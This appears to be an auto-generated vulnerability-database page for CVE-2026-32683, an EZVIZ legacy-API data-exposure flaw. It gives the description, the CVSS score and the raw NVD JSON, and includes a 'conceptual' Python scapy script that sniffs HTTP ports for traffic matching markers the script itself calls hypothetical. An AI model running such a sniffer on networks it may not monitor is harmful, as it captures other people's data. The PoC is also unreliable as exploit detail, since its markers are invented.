Security Vulnerability Report
中文
CVE-2026-32683 CVSS 5.3 MEDIUM

CVE-2026-32683

Published: 2026-05-09 09:16:09
Last Modified: 2026-05-09 09:16:09

Description

Some EZVIZ products utilize older versions of cloud feature modules with legacy API interfaces, which pose a data transmission risk. Attackers can exploit this by eavesdropping on network requests to obtain data.Users are advised to upgrade the app to the latest version and enable the video encryption feature.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

EZVIZ部分产品旧版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import scapy.all as scapy # Conceptual Proof of Concept for CVE-2026-32683 # This script demonstrates sniffing network traffic to identify unencrypted legacy API requests. def analyze_packet(packet): """ Callback function to process each captured packet. Checks for legacy API patterns in the payload. """ if packet.haslayer(scapy.Raw): payload = packet[scapy.Raw].load try: # Convert payload to string for analysis (assuming HTTP-like text for legacy API) decoded_payload = payload.decode('utf-8', errors='ignore') # Hypothetical marker for the vulnerable legacy API interface if "api/legacy/v1" in decoded_payload or "ezviz_old_protocol" in decoded_payload: print(f"[!] Potential Vulnerable Legacy API Traffic Detected:") print(f" Source: {packet[0][1].src}:{packet[0][2].sport}") print(f" Destination: {packet[0][1].dst}:{packet[0][2].dport}") print(f" Payload Snippet: {decoded_payload[:100]}...") except Exception as e: pass def start_sniffing(interface): """ Starts sniffing on the specified network interface. """ print(f"[*] Starting network sniffing on interface: {interface}") print("[*] Listening for unencrypted legacy API requests (CVE-2026-32683)...") # Filter for TCP traffic to common web ports (80, 8080) where legacy APIs might reside filter_str = "tcp port 80 or tcp port 8080" # scapy.sniff opens the interface and captures packets scapy.sniff(iface=interface, filter=filter_str, prn=analyze_packet, store=False) if __name__ == "__main__": # Note: This requires root/administrator privileges to run. # Replace 'eth0' with the actual network interface name. # Example usage: python3 poc.py try: start_sniffing("eth0") except KeyboardInterrupt: print("\n[*] Sniffing stopped by user.") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32683", "sourceIdentifier": "[email protected]", "published": "2026-05-09T09:16:08.973", "lastModified": "2026-05-09T09:16:08.973", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Some EZVIZ products utilize older versions of cloud feature modules with legacy API interfaces, which pose a data transmission risk. Attackers can exploit this by eavesdropping on network requests to obtain data.Users are advised to upgrade the app to the latest version and enable the video encryption feature."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "references": [{"url": "https://www.ezviz.com/inter/trust-center/security/security-notice/2026.05.08", "source": "[email protected]"}, {"url": "https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-vulnerability-in-cloud-function-modules-of-some-hikvisi/", "source": "[email protected]"}]}}